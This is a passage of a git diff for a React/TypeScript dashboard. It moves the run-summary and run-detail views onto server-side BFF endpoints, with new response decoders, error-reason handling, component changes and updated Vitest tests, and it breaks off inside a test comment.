-import{r}from"./index-fZITW1u7.js";const F=2e3,w=6e4;function h(e,u,s={}){const a=r.useRef(e);a.current=e;const n=r.useRef(l(s));n.current=l(s);const t=r.useRef(0),c=r.useRef(0),o=r.useRef(!1),{enabled:i,initialBackoffMs:d,maxBackoffMs:B}=n.current;r.useEffect(()=>{if(!i)return;const M=()=>{t.current=0,c.current=0},R=A=>{const f=n.current;f.onError?.(A);const E=Math.min(f.initialBackoffMs*2**t.current,f.maxBackoffMs);t.current+=1,c.current=Date.now()+E},k=()=>{document.hidden||o.current||Date.now()<c.current||(o.current=!0,a.current().then(M,R).finally(()=>{o.current=!1}))},m=window.setInterval(k,u);return()=>window.clearInterval(m)},[i,u,d,B])}function l(e){return{enabled:e.enabled??!0,initialBackoffMs:e.initialBackoffMs??F,maxBackoffMs:e.maxBackoffMs??w,onError:e.onError??x}}function x(){}export{h as u};
+import{r}from"./index-BFDP6Xwd.js";const F=2e3,w=6e4;function h(e,u,s={}){const a=r.useRef(e);a.current=e;const n=r.useRef(l(s));n.current=l(s);const t=r.useRef(0),c=r.useRef(0),o=r.useRef(!1),{enabled:i,initialBackoffMs:d,maxBackoffMs:B}=n.current;r.useEffect(()=>{if(!i)return;const M=()=>{t.current=0,c.current=0},R=A=>{const f=n.current;f.onError?.(A);const E=Math.min(f.initialBackoffMs*2**t.current,f.maxBackoffMs);t.current+=1,c.current=Date.now()+E},k=()=>{document.hidden||o.current||Date.now()<c.current||(o.current=!0,a.current().then(M,R).finally(()=>{o.current=!1}))},m=window.setInterval(k,u);return()=>window.clearInterval(m)},[i,u,d,B])}function l(e){return{enabled:e.enabled??!0,initialBackoffMs:e.initialBackoffMs??F,maxBackoffMs:e.maxBackoffMs??w,onError:e.onError??x}}function x(){}export{h as u};
diff --git a/internal/api/dashboardspa/dist/index.html b/internal/api/dashboardspa/dist/index.html
index deee24e7c5..9afd2804f2 100644
--- a/internal/api/dashboardspa/dist/index.html
+++ b/internal/api/dashboardspa/dist/index.html
@@ -20,8 +20,8 @@
         } catch (_) {}
       })();
     </script>
-    <script type="module" crossorigin src="/assets/index-fZITW1u7.js"></script>
-    <link rel="stylesheet" crossorigin href="/assets/index-DiklGLsM.css">
+    <script type="module" crossorigin src="/assets/index-BFDP6Xwd.js"></script>
+    <link rel="stylesheet" crossorigin href="/assets/index-Gx0U3WJJ.css">
   </head>
   <body>
     <div id="root"></div>
diff --git a/internal/api/dashboardspa/web/frontend/src/api/client.test.ts b/internal/api/dashboardspa/web/frontend/src/api/client.test.ts
index 6047dac996..83a48ac7b6 100644
--- a/internal/api/dashboardspa/web/frontend/src/api/client.test.ts
+++ b/internal/api/dashboardspa/web/frontend/src/api/client.test.ts
@@ -257,3 +257,131 @@ describe('api client error handling', () => {
     });
   });
 });
+
+describe('run projection endpoints', () => {
+  afterEach(() => {
+    vi.unstubAllGlobals();
+  });
+
+  const emptyRunSummary = {
+    totalActive: 0,
+    totalHistorical: 0,
+    runCounts: { active: 0, blocked: 0, complete: 0 },
+    lanes: [],
+    historicalLanes: [],
+    blockedLanes: [],
+    recentChanges: [],
+    census: { status: 'unavailable' },
+  };
+
+  it('reads the run summary from the city-scoped BFF endpoint', async () => {
+    const fetchMock = vi.fn(
+      async () =>
+        new Response(JSON.stringify(emptyRunSummary), {
+          status: 200,
+          headers: { 'content-type': 'application/json' },
+        }),
+    );
+    vi.stubGlobal('fetch', fetchMock);
+
+    await expect(api.runSummary()).resolves.toMatchObject({ totalActive: 0 });
+    expect(fetchMock).toHaveBeenCalledWith(
+      '/api/city/test-city/runs/summary',
+      expect.objectContaining({ method: 'GET' }),
+    );
+  });
+
+  it('rejects a run-summary body missing its lane arrays at the edge', async () => {
+    vi.stubGlobal(
+      'fetch',
+      vi.fn(
+        async () =>
+          new Response(JSON.stringify({ totalActive: 0, totalHistorical: 0 }), {
+            status: 200,
+            headers: { 'content-type': 'application/json' },
+          }),
+      ),
+    );
+
+    await expect(api.runSummary()).rejects.toMatchObject({
+      name: 'ApiResponseDecodeError',
+      message: expect.stringContaining('run summary.lanes must be an array'),
+    });
+  });
+
+  it('reads the run detail from the city-scoped BFF endpoint, encoding the run id', async () => {
+    const detail = {
+      runId: 'mol:adopt-1',
+      rootBeadId: 'b-1',
+      rootStoreRef: 'rig:demo',
+      resolvedRootStore: 'rig:demo',
+      scopeKind: 'rig',
+      scopeRef: 'demo',
+      title: 'Adopt PR',
+      formula: { kind: 'unavailable', reason: 'missing_formula_metadata' },
+      formulaDetail: { kind: 'unavailable', reason: 'missing_formula_metadata' },
+      executionPath: { kind: 'unavailable', reason: 'missing_cwd_and_rig_root' },
+      snapshotVersion: 1,
+      snapshotEventSeq: { kind: 'known', seq: 100 },
+      completeness: { kind: 'complete' },
+      progress: { statusCounts: {} },
+      phase: 'intake',
+      stages: [],
+      nodes: [],
+      edges: [],
+      lanes: [],
+    };
+    const fetchMock = vi.fn(
+      async () =>
+        new Response(JSON.stringify(detail), {
+          status: 200,
+          headers: { 'content-type': 'application/json' },
+        }),
+    );
+    vi.stubGlobal('fetch', fetchMock);
+
+    await expect(api.runDetail('mol:adopt-1')).resolves.toMatchObject({ runId: 'mol:adopt-1' });
+    expect(fetchMock).toHaveBeenCalledWith(
+      '/api/city/test-city/runs/mol%3Aadopt-1/detail',
+      expect.objectContaining({ method: 'GET' }),
+    );
+  });
+
+  it('surfaces the 422 run-detail reason on the thrown ApiClientError', async () => {
+    vi.stubGlobal(
+      'fetch',
+      vi.fn(
+        async () =>
+          new Response(JSON.stringify({ error: 'run is not a graph.v2 run', reason: 'not_run_view' }), {
+            status: 422,
+            headers: { 'content-type': 'application/json' },
+          }),
+      ),
+    );
+
+    await expect(api.runDetail('v1-run')).rejects.toMatchObject({
+      name: 'ApiClientError',
+      status: 422,
+      reason: 'not_run_view',
+      message: 'run is not a graph.v2 run',
+    });
+  });
+
+  it('surfaces a 404 run-detail as an ApiClientError without a reason', async () => {
+    vi.stubGlobal(
+      'fetch',
+      vi.fn(
+        async () =>
+          new Response(JSON.stringify({ error: 'unknown run' }), {
+            status: 404,
+            headers: { 'content-type': 'application/json' },
+          }),
+      ),
+    );
+
+    const err = await api.runDetail('ghost').catch((e: unknown) => e);
+    expect(err).toBeInstanceOf(ApiClientError);
+    expect(err).toMatchObject({ status: 404, message: 'unknown run' });
+    expect((err as ApiClientError).reason).toBeUndefined();
+  });
+});
diff --git a/internal/api/dashboardspa/web/frontend/src/api/client.ts b/internal/api/dashboardspa/web/frontend/src/api/client.ts
index 3e8e848603..5795ef3880 100644
--- a/internal/api/dashboardspa/web/frontend/src/api/client.ts
+++ b/internal/api/dashboardspa/web/frontend/src/api/client.ts
@@ -12,6 +12,8 @@ import type {
   RunDiffRequest,
   RunDiffResponse,
   RunScopeKind,
+  RunSummary,
+  FormulaRunDetail,
 } from 'gas-city-dashboard-shared';
 import { cityPath } from './cityBase';
 
@@ -55,7 +57,7 @@ async function performRequest<T>(
     const bodyText = await res.text();
     const payload = parseApiErrorBody(bodyText);
     const message = payload?.error ?? (bodyText.trim() || res.statusText || `HTTP ${res.status}`);
-    throw new ApiClientError(res.status, message, payload?.kind);
+    throw new ApiClientError(res.status, message, payload?.kind, payload?.reason);
   }
   let json: unknown;
   try {
@@ -80,7 +82,8 @@ function isApiError(value: unknown): value is ApiError {
   if (typeof value !== 'object' || value === null) return false;
   const record = value as Record<string, unknown>;
   if (typeof record.error !== 'string') return false;
-  return record.kind === undefined || typeof record.kind === 'string';
+  if (record.kind !== undefined && typeof record.kind !== 'string') return false;
+  return record.reason === undefined || typeof record.reason === 'string';
 }
 
 // The /api plane uses the same-origin custom-header CSRF model (X-GC-Request),
@@ -103,6 +106,9 @@ export class ApiClientError extends Error {
     public readonly status: number,
     message: string,
     public readonly kind?: string,
+    // The BFF run-detail discriminator (see ApiError.reason): 'not_run_view'
+    // vs 'invalid_snapshot' on a 422. Absent on every other endpoint.
+    public readonly reason?: string,
   ) {
     super(message);
     this.name = 'ApiClientError';
@@ -158,6 +164,10 @@ function requireBooleanField(record: JsonRecord, url: string, label: string, fie
   if (typeof record[field] !== 'boolean') failDecode(url, `${label}.${field} must be a boolean`);
 }
 
+function requireNumberField(record: JsonRecord, url: string, label: string, field: string): void {
+  if (typeof record[field] !== 'number') failDecode(url, `${label}.${field} must be a number`);
+}
+
 function requireArrayField(record: JsonRecord, url: string, label: string, field: string): void {
   if (!Array.isArray(record[field])) failDecode(url, `${label}.${field} must be an array`);
 }
@@ -293,6 +303,46 @@ const decodeRunDiff = objectDecoder<RunDiffResponse>('run diff', (record, url) =
   requireStringField(record, url, 'run diff', 'patch');
   requireBooleanField(record, url, 'run diff', 'truncated');
 });
+// The run summary/detail DTOs are produced by the Go run projection
+// (internal/runproj), which is golden-gated byte-for-byte against these exact
+// shapes. Validate the structural arrays/objects the renderers iterate at the
+// edge (matching decodeRunDiff's depth) so a wire-shape regression fails here
+// rather than mis-rendering deep in a lane or diagram component.
+const decodeRunSummary = objectDecoder<RunSummary>('run summary', (record, url) => {
+  // Validate every field a renderer dereferences: RunMap reads the counts,
+  // the lane arrays, and totalActive/totalHistorical. The DTO is golden-gated
+  // against the Go projection, so this edge check is defensive — but it is now
+  // the ONLY backstop (the client-side fold that used to rebuild this is gone).
+  requireNumberField(record, url, 'run summary', 'totalActive');
+  requireNumberField(record, url, 'run summary', 'totalHistorical');
+  requireArrayField(record, url, 'run summary', 'lanes');
+  requireArrayField(record, url, 'run summary', 'historicalLanes');
+  requireArrayField(record, url, 'run summary', 'blockedLanes');
+  requireArrayField(record, url, 'run summary', 'recentChanges');
+  requireObjectField(record, url, 'run summary', 'runCounts');
+  requireObjectField(record, url, 'run summary', 'census');
+});
+export const decodeFormulaRunDetail = objectDecoder<FormulaRunDetail>(
+  'formula run detail',
+  (record, url) => {
+    requireStringField(record, url, 'formula run detail', 'runId');
+    requireObjectField(record, url, 'formula run detail', 'formula');
+    requireObjectField(record, url, 'formula run detail', 'formulaDetail');
+    requireObjectField(record, url, 'formula run detail', 'executionPath');
+    // The detail renderer hard-derefs these union/nested fields (snapshotLabel
+    // reads snapshotEventSeq.kind, the partial notice reads completeness.kind,
+    // the status summary reads progress.statusCounts[...]), so validate them at
+    // the edge rather than let a malformed wire value throw deep in the diagram.
+    requireObjectField(record, url, 'formula run detail', 'snapshotEventSeq');
+    requireObjectField(record, url, 'formula run detail', 'completeness');
+    const progress = requireRecord(record['progress'], url, 'formula run detail.progress');
+    requireObjectField(progress, url, 'formula run detail.progress', 'statusCounts');
+    requireArrayField(record, url, 'formula run detail', 'stages');
+    requireArrayField(record, url, 'formula run detail', 'nodes');
+    requireArrayField(record, url, 'formula run detail', 'edges');
+    requireArrayField(record, url, 'formula run detail', 'lanes');
+  },
+);
 export interface ApiErrorParts {
   message: string;
   status?: number;
@@ -358,6 +408,28 @@ export const api = {
       body,
     );
   },
+  // The run view reads its summary and per-run detail from the BFF run
+  // projection (internal/api/dashboardbff/runtailer.go), a sub-second warm
+  // fold of the city event log that already layers session health/census.
+  // Both DTOs are the same shapes the SPA used to reconstruct client-side.
+  runSummary(): Promise<RunSummary> {
+    return request('GET', cityPath('/runs/summary'), decodeRunSummary);
+  },
+  // 200 → FormulaRunDetail. The endpoint rejects a non-graph.v2 run with
+  // 422 + reason 'not_run_view' (list-only) or 'invalid_snapshot' (load
+  // failure), an unknown run with 404, and a still-warming projection with
+  // 503 — surfaced to callers as ApiClientError (status + reason).
+  runDetail(runId: string): Promise<FormulaRunDetail> {
+    return request('GET', cityPath(`/runs/${encodeURIComponent(runId)}/detail`), decodeFormulaRunDetail);
+  },
+  // The per-run SSE detail stream (BFF plane). It pushes the whole
+  // FormulaRunDetail as a snapshot frame on connect and again whenever the
+  // fold changes this run's bytes, so the client renders each frame with zero
+  // refetch. Same-origin path off cityPath — the browser resolves it against
+  // the current origin, matching the credentials the GET uses.
+  runDetailStreamUrl(runId: string): string {
+    return cityPath(`/runs/${encodeURIComponent(runId)}/detail/stream`);
+  },
 };
 
 function runQuery(params?: { scopeKind?: RunScopeKind; scopeRef?: string }): string {
diff --git a/internal/api/dashboardspa/web/frontend/src/components/run/FormulaRunDiagram.test.tsx b/internal/api/dashboardspa/web/frontend/src/components/run/FormulaRunDiagram.test.tsx
index 97f15ac82c..ed01f6364a 100644
--- a/internal/api/dashboardspa/web/frontend/src/components/run/FormulaRunDiagram.test.tsx
+++ b/internal/api/dashboardspa/web/frontend/src/components/run/FormulaRunDiagram.test.tsx
@@ -197,6 +197,7 @@ function progress(
     snapshotVersion: 1,
     snapshotEventSeq: { kind: 'known', seq: 1 },
     snapshotPartial: false,
+    terminal: false,
     totalNodeCount,
     visibleNodeCount,
     edgeCount: 0,
diff --git a/internal/api/dashboardspa/web/frontend/src/components/run/FormulaRunTabs.test.tsx b/internal/api/dashboardspa/web/frontend/src/components/run/FormulaRunTabs.test.tsx
index a01fc57c54..2f065be3df 100644
--- a/internal/api/dashboardspa/web/frontend/src/components/run/FormulaRunTabs.test.tsx
+++ b/internal/api/dashboardspa/web/frontend/src/components/run/FormulaRunTabs.test.tsx
@@ -150,6 +150,7 @@ function readyDiff(diff: RunDiffResponse): RunDiffLoadState {
     kind: 'ready',
     diff,
     refresh: async () => {},
+    cheapRefresh: async () => {},
     refreshState: { kind: 'idle' },
   };
 }
diff --git a/internal/api/dashboardspa/web/frontend/src/components/run/FormulaRunTabs.tsx b/internal/api/dashboardspa/web/frontend/src/components/run/FormulaRunTabs.tsx
index 5f6981d1b4..844acb2874 100644
--- a/internal/api/dashboardspa/web/frontend/src/components/run/FormulaRunTabs.tsx
+++ b/internal/api/dashboardspa/web/frontend/src/components/run/FormulaRunTabs.tsx
@@ -4,13 +4,34 @@ import type { RunDisplayNode } from 'gas-city-dashboard-shared';
 import type { RunDiffLoadState } from '../../hooks/useRunDiff';
 import { RunNodeEvidencePanel } from './RunNodeEvidencePanel';
 
+export type RunEvidenceTab = 'diff' | 'session';
+
 interface FormulaRunTabsProps {
   diff: RunDiffLoadState;
   selectedNode: RunDisplayNode | null;
+  /**
+   * Controlled active tab. When paired with {@link onActiveTabChange} the parent
+   * owns the tab so it can gate work on which view is visible (P5 gates the diff
+   * refresh on the Diff tab being active). Both must be supplied together; when
+   * omitted the component keeps its own internal tab state.
+   */
+  activeTab?: RunEvidenceTab;
+  onActiveTabChange?: (tab: RunEvidenceTab) => void;
 }
 
-export function FormulaRunTabs({ diff, selectedNode }: FormulaRunTabsProps) {
-  const [tab, setTab] = useState<'diff' | 'session'>('diff');
+export function FormulaRunTabs({
+  diff,
+  selectedNode,
+  activeTab,
+  onActiveTabChange,
+}: FormulaRunTabsProps) {
+  const [internalTab, setInternalTab] = useState<RunEvidenceTab>('diff');
+  const controlled = activeTab !== undefined && onActiveTabChange !== undefined;
+  const tab = controlled ? activeTab : internalTab;
+  const setTab = (next: RunEvidenceTab) => {
+    if (controlled) onActiveTabChange(next);
+    else setInternalTab(next);
+  };
   const activeTabId = `run-evidence-tab-${tab}`;
 
   return (
diff --git a/internal/api/dashboardspa/web/frontend/src/components/run/RunMap.test.tsx b/internal/api/dashboardspa/web/frontend/src/components/run/RunMap.test.tsx
index 93fa043b39..af8ce68f91 100644
--- a/internal/api/dashboardspa/web/frontend/src/components/run/RunMap.test.tsx
+++ b/internal/api/dashboardspa/web/frontend/src/components/run/RunMap.test.tsx
@@ -1,12 +1,35 @@
 import { cleanup, fireEvent, render, screen, within } from '@testing-library/react';
 import { MemoryRouter } from 'react-router-dom';
 import { afterEach, describe, expect, it } from 'vitest';
-import { emptyRunSummary, MAX_VISIBLE_ACTIVE_LANES } from 'gas-city-dashboard-shared';
+import { MAX_VISIBLE_ACTIVE_LANES } from 'gas-city-dashboard-shared';
 import type { RunLane, RunSummary, SourceState } from 'gas-city-dashboard-shared';
 import { RunMap } from './RunMap';
 
 afterEach(() => cleanup());
 
+// A blank server-shaped RunSummary for fixtures (the old shared emptyRunSummary
+// helper retired with the client-side fold; the wire now produces this shape).
+function emptyRunSummary(): RunSummary {
+  return {
+    totalActive: 0,
+    totalHistorical: 0,
+    runCounts: {
+      total: 0,
+      visible: 0,
+      prReview: 0,
+      designReview: 0,
+      bugfix: 0,
+      blocked: 0,
+      other: 0,
+    },
+    lanes: [],
+    historicalLanes: [],
+    blockedLanes: [],
+    recentChanges: [],
+    census: { status: 'unavailable', error: 'run health has not been derived' },
+  };
+}
+
 function historicalLane(id: string): RunLane {
   return {
     id,
diff --git a/internal/api/dashboardspa/web/frontend/src/components/run/RunNodeSessionPanel.test.tsx b/internal/api/dashboardspa/web/frontend/src/components/run/RunNodeSessionPanel.test.tsx
index 4a2ce213da..b43b06f72f 100644
--- a/internal/api/dashboardspa/web/frontend/src/components/run/RunNodeSessionPanel.test.tsx
+++ b/internal/api/dashboardspa/web/frontend/src/components/run/RunNodeSessionPanel.test.tsx
@@ -1,5 +1,9 @@
 import { cleanup, render, screen } from '@testing-library/react';
-import type { RunDisplayNode, RunNodeStatus } from 'gas-city-dashboard-shared';
+import type {
+  RunDisplayNode,
+  RunExecutionInstance,
+  RunNodeStatus,
+} from 'gas-city-dashboard-shared';
 import { afterEach, describe, expect, it } from 'vitest';
 import { RunNodeSessionPanel } from './RunNodeSessionPanel';
 
@@ -26,8 +30,67 @@ describe('RunNodeSessionPanel', () => {
     expect(screen.getByText('Bead')).toBeTruthy();
     expect(screen.getByText('review-bead')).toBeTruthy();
   });
+
+  it('shows the server-picked visible instance even when the old heuristic would pick another', () => {
+    // The retired client heuristic preferred the last attempt in sort order
+    // (attempt 2). The server points visibleExecutionInstanceId at attempt 1, so
+    // that instance must be shown — proving the server pick wins.
+    render(<RunNodeSessionPanel node={multiAttemptNode('review-a1')} visible />);
+
+    expect(screen.getByText('review-bead-a1')).toBeTruthy();
+    expect(screen.queryByText('review-bead-a2')).toBeNull();
+  });
+
+  it('falls back to the last instance when the server id is absent or unknown', () => {
+    // An empty visibleExecutionInstanceId (or one that matches no instance) falls
+    // back to the last instance in sort order — attempt 2 here.
+    render(<RunNodeSessionPanel node={multiAttemptNode('')} visible />);
+
+    expect(screen.getByText('review-bead-a2')).toBeTruthy();
+    expect(screen.queryByText('review-bead-a1')).toBeNull();
+  });
 });
 
+function attempt(value: number, status: RunNodeStatus): RunExecutionInstance {
+  return {
+    id: `review-a${value}`,
+    semanticNodeId: 'review',
+    beadId: `review-bead-a${value}`,
+    iteration: { kind: 'base' },
+    attempt: { kind: 'attempt', value },
+    label: `attempt ${value}`,
+    status,
+    session: { kind: 'none', reason: 'not_started' },
+    currentIteration: value === 2,
+    historical: false,
+  };
+}
+
+function multiAttemptNode(visibleExecutionInstanceId: string): RunDisplayNode {
+  return {
+    id: 'review',
+    semanticNodeId: 'review',
+    title: 'Review',
+    kind: 'step',
+    constructKind: 'step',
+    status: 'active',
+    currentBeadId: 'review',
+    scope: { kind: 'run' },
+    visibleInGraph: true,
+    historicalOnly: false,
+    iterationSummary: { kind: 'single' },
+    attemptSummary: {
+      kind: 'tracked',
+      count: 2,
+      badge: { kind: 'bounded', label: '2/3' },
+      active: { kind: 'idle' },
+    },
+    visibleExecutionInstanceId,
+    executionInstances: [attempt(1, 'failed'), attempt(2, 'active')],
+    controlBadges: [],
+  };
+}
+
 function node(status: RunNodeStatus, reason: 'not_started' | 'session_unresolved'): RunDisplayNode {
   return {
     id: 'review',
diff --git a/internal/api/dashboardspa/web/frontend/src/components/run/RunNodeSessionPanel.tsx b/internal/api/dashboardspa/web/frontend/src/components/run/RunNodeSessionPanel.tsx
index 14d324f37e..b5c294b6ad 100644
--- a/internal/api/dashboardspa/web/frontend/src/components/run/RunNodeSessionPanel.tsx
+++ b/internal/api/dashboardspa/web/frontend/src/components/run/RunNodeSessionPanel.tsx
@@ -11,7 +11,10 @@ interface RunNodeSessionPanelProps {
 
 export function RunNodeSessionPanel({ node, visible }: RunNodeSessionPanelProps) {
   const instances = useMemo(() => node?.executionInstances.sort(compareInstances) ?? [], [node]);
-  const defaultInstance = useMemo(() => preferredInstance(instances), [instances]);
+  const defaultInstance = useMemo(
+    () => defaultVisibleInstance(node?.visibleExecutionInstanceId, instances),
+    [node?.visibleExecutionInstanceId, instances],
+  );
   const [selectedKey, setSelectedKey] = useState<string | null>(null);
 
   useEffect(() => {
@@ -229,17 +232,28 @@ function isRunningStatus(status: RunExecutionInstance['status']): boolean {
   return status === 'active' || status === 'running';
 }
 
-function preferredInstance(instances: RunExecutionInstance[]): RunExecutionInstance | undefined {
-  return (
-    instances.find(
-      (instance) => instance.session.kind === 'attached' && instance.session.streamable,
-    ) ??
-    [...instances]
-      .filter((instance) => instance.session.kind === 'attached')
-      .sort(compareInstances)
-      .at(-1) ??
-    [...instances].sort(compareInstances).at(-1)
-  );
+/**
+ * Resolve the instance to show first, honoring the server's already-computed
+ * `visibleExecutionInstanceId` instead of re-deriving a preference client-side.
+ * That server field is the node's CURRENT-iteration instance (the last in Go's
+ * sort order) — the same instance that drives the node's status pill and
+ * current-bead — so the panel default now stays consistent with the rest of the
+ * run view. This INTENTIONALLY differs from the retired client fold, which
+ * preferred a streamable-attached (then last-attached) instance: when the
+ * current iteration is queued/not-started but a prior iteration has a transcript,
+ * the panel now defaults to the current not-started instance (the prior
+ * transcript stays reachable via the Iteration selector). Falls back to the last
+ * instance in sort order when the id is absent or matches no instance — e.g. a
+ * snapshot whose visible instance rotated out of this node.
+ */
+function defaultVisibleInstance(
+  visibleExecutionInstanceId: string | undefined,
+  instances: RunExecutionInstance[],
+): RunExecutionInstance | undefined {
+  const preferred = visibleExecutionInstanceId
+    ? instances.find((instance) => instanceKey(instance) === visibleExecutionInstanceId)
+    : undefined;
+  return preferred ?? instances.at(-1);
 }
 
 function groupIterations(instances: RunExecutionInstance[]) {
diff --git a/internal/api/dashboardspa/web/frontend/src/hooks/useFormulaRunDetail.test.tsx b/internal/api/dashboardspa/web/frontend/src/hooks/useFormulaRunDetail.test.tsx
index 8ba139357c..edb7d40d82 100644
--- a/internal/api/dashboardspa/web/frontend/src/hooks/useFormulaRunDetail.test.tsx
+++ b/internal/api/dashboardspa/web/frontend/src/hooks/useFormulaRunDetail.test.tsx
@@ -1,59 +1,80 @@
-import { cleanup, renderHook, waitFor } from '@testing-library/react';
+import { act, cleanup, renderHook, waitFor } from '@testing-library/react';
 import { afterEach, beforeEach, describe, expect, it, vi, type Mock } from 'vitest';
+import type { FormulaRunDetail } from 'gas-city-dashboard-shared';
 import { invalidate } from '../api/cache';
+import { ApiClientError } from '../api/client';
 import { reportClientError } from '../lib/clientErrorReporting';
-import { supervisorApi, supervisorApiForRequestBudget } from '../supervisor/client';
-import type * as SupervisorClient from '../supervisor/client';
-import { SupervisorApiError } from '../supervisor/errors';
+import { loadSupervisorFormulaRunDetail } from '../supervisor/runDetail';
 import { formulaRunDetailCacheKey, useFormulaRunDetail } from './useFormulaRunDetail';
 
 vi.mock('../api/cityBase', () => ({
   getActiveCity: () => 'test-city',
   activeCityOrThrow: () => 'test-city',
+  cityPath: (suffix: string) => `/api/city/test-city${suffix}`,
 }));
 
 vi.mock('../lib/clientErrorReporting', () => ({
   reportClientError: vi.fn(() => Promise.resolve({ status: 'reported' })),
 }));
 
-vi.mock('../supervisor/client', async (importOriginal) => {
-  const actual = await importOriginal<typeof SupervisorClient>();
-  return {
-    // Keep the real SupervisorApiError so runDetail's `instanceof` checks work,
-    // and route the request-budget client to the same mock as the default one.
-    ...actual,
-    supervisorApi: vi.fn(),
-    supervisorApiForRequestBudget: vi.fn(),
-  };
-});
+// The run-detail loader is now a thin BFF GET (covered by runDetail.test.ts);
+// the hook's job is purely mapping its result/errors onto the view states, so
+// mock the loader directly and drive each state from what it resolves/throws.
+vi.mock('../supervisor/runDetail', () => ({
+  loadSupervisorFormulaRunDetail: vi.fn(),
+}));
 
 const mockReportClientError = reportClientError as Mock;
-const mockSupervisorApi = supervisorApi as Mock;
-const mockSupervisorApiForRequestBudget = supervisorApiForRequestBudget as Mock;
-const supervisor = {
-  workflowRun: vi.fn(),
-  listSessions: vi.fn(),
-  formulaDetail: vi.fn(),
-};
+const mockLoadDetail = loadSupervisorFormulaRunDetail as Mock;
+
+function runDetail(overrides: Partial<FormulaRunDetail> = {}): FormulaRunDetail {
+  return {
+    runId: 'wf-1',
+    rootBeadId: 'wf-1',
+    rootStoreRef: 'city:test-city',
+    resolvedRootStore: 'city:test-city',
+    scopeKind: 'city',
+    scopeRef: 'test-city',
+    title: 'Direct supervisor run',
+    formula: { kind: 'known', name: 'mol-test', source: 'metadata' },
+    formulaDetail: { kind: 'available', name: 'mol-test', target: 'test-city/codex' },
+    executionPath: { kind: 'unavailable', reason: 'missing_cwd_and_rig_root' },
+    snapshotVersion: 1,
+    snapshotEventSeq: { kind: 'known', seq: 100 },
+    completeness: { kind: 'complete' },
+    progress: {
+      snapshotVersion: 1,
+      snapshotEventSeq: { kind: 'known', seq: 100 },
+      snapshotPartial: false,
+      terminal: false,
+      totalNodeCount: 0,
+      visibleNodeCount: 0,
+      edgeCount: 0,
+      executionInstanceCount: 0,
+      sessionLinkCount: 0,
+      streamableSessionCount: 0,
+      streamableSessionIds: [],
+      statusCounts: {},
+      allStatusCounts: {},
+    },
+    phase: 'intake',
+    stages: [],
+    nodes: [],
+    edges: [],
+    lanes: [],
+    ...overrides,
+  };
+}
 
 afterEach(() => {
   cleanup();
   invalidate('');
   vi.clearAllMocks();
-  supervisor.workflowRun.mockReset();
-  supervisor.listSessions.mockReset();
-  supervisor.formulaDetail.mockReset();
-  mockSupervisorApi.mockReturnValue(supervisor);
-  mockSupervisorApiForRequestBudget.mockReturnValue(supervisor);
 });
 
 describe('useFormulaRunDetail', () => {
   beforeEach(() => {
-    mockSupervisorApi.mockReturnValue(supervisor);
-    mockSupervisorApiForRequestBudget.mockReturnValue(supervisor);
-    supervisor.workflowRun.mockResolvedValue(workflowSnapshot());
-    supervisor.listSessions.mockResolvedValue({ items: [], total: 0 });
-    supervisor.formulaDetail.mockResolvedValue(formulaDetail());
+    mockLoadDetail.mockResolvedValue(runDetail());
   });
 
   it('does not fetch or report when no run id is available', async () => {
@@ -61,20 +82,17 @@ describe('useFormulaRunDetail', () => {
 
     await waitFor(() => expect(result.current.kind).toBe('idle'));
 
-    expect(supervisor.workflowRun).not.toHaveBeenCalled();
+    expect(mockLoadDetail).not.toHaveBeenCalled();
     expect(mockReportClientError).not.toHaveBeenCalled();
   });
 
   it('reports run detail load failures to the centralized client log', async () => {
-    supervisor.workflowRun.mockRejectedValue(new Error('detail unavailable'));
+    mockLoadDetail.mockRejectedValue(new Error('detail unavailable'));
 
     const { result } = renderHook(() => useFormulaRunDetail('wf-1'));
 
     await waitFor(() =>
-      expect(result.current).toMatchObject({
-        kind: 'failed',
-        error: 'detail unavailable',
-      }),
+      expect(result.current).toMatchObject({ kind: 'failed', error: 'detail unavailable' }),
     );
 
     expect(mockReportClientError).toHaveBeenCalledWith({
@@ -82,10 +100,9 @@ describe('useFormulaRunDetail', () => {
       operation: 'load detail',
       message: 'wf-1: detail unavailable',
     });
-    expect(supervisor.formulaDetail).not.toHaveBeenCalled();
   });
 
-  it('loads formula run detail from the direct supervisor workflow endpoint', async () => {
+  it('loads formula run detail from the BFF projection endpoint', async () => {
     const { result } = renderHook(() => useFormulaRunDetail('wf-1', 'city', 'test-city'));
 
     await waitFor(() => expect(result.current.kind).toBe('ready'));
@@ -93,34 +110,19 @@ describe('useFormulaRunDetail', () => {
     if (result.current.kind !== 'ready') throw new Error('run detail did not load');
     expect(result.current.detail.runId).toBe('wf-1');
     expect(result.current.detail.title).toBe('Direct supervisor run');
-    expect(result.current.detail.formulaDetail).toEqual({
-      kind: 'available',
-      name: 'mol-test',
-      target: 'test-city/codex',
-    });
     expect(result.current.refreshState).toEqual({ kind: 'idle' });
     expect('diff' in result.current).toBe(false);
-    expect(supervisor.workflowRun).toHaveBeenCalledWith('test-city', 'wf-1', {
-      scope_kind: 'city',
-      scope_ref: 'test-city',
-    });
-    expect(supervisor.formulaDetail).toHaveBeenCalledWith('test-city', 'mol-test', {
-      target: 'test-city/codex',
-      scope_kind: 'city',
-      scope_ref: 'test-city',
-    });
+    // The loader is scope-independent now (the projection derives scope from the
+    // run's own root bead); the route's scope still drives only the cache key.
+    expect(mockLoadDetail).toHaveBeenCalledWith('wf-1');
     expect(mockReportClientError).not.toHaveBeenCalled();
   });
 
-  it('does not stay loading for completed runs that lack formula metadata', async () => {
-    supervisor.workflowRun.mockResolvedValue(
-      workflowSnapshot({
-        status: 'completed',
-        metadata: {
-          'gc.kind': 'workflow',
-          'gc.formula_contract': 'graph.v2',
-          'gc.run_target': 'test-city/codex',
-        },
+  it('reaches ready for a run that lacks formula metadata (no hang)', async () => {
+    mockLoadDetail.mockResolvedValue(
+      runDetail({
+        formula: { kind: 'unavailable', reason: 'missing_formula_metadata' },
+        formulaDetail: { kind: 'unavailable', reason: 'missing_formula_metadata' },
       }),
     );
 
@@ -133,23 +135,15 @@ describe('useFormulaRunDetail', () => {
       kind: 'unavailable',
       reason: 'missing_formula_metadata',
     });
-    expect(result.current.detail.formulaDetail).toEqual({
-      kind: 'unavailable',
-      reason: 'missing_formula_metadata',
-    });
-    expect(supervisor.formulaDetail).not.toHaveBeenCalled();
     expect(mockReportClientError).not.toHaveBeenCalled();
   });
 
-  it('surfaces a v1 / non-graph.v2 run as unsupported, not a generic failure', async () => {
-    // A v1 / wisp run: the root bead carries no gc.formula_contract=graph.v2,
-    // so enrichFormulaRun throws UnsupportedRunError('not_run_view'). The hook
-    // must map ONLY that case to {kind:'unsupported'} (the detail view then
-    // shows a list-only message) and NOT route it through the error path.
-    // The generic-failure branch is locked separately by the load-failure test
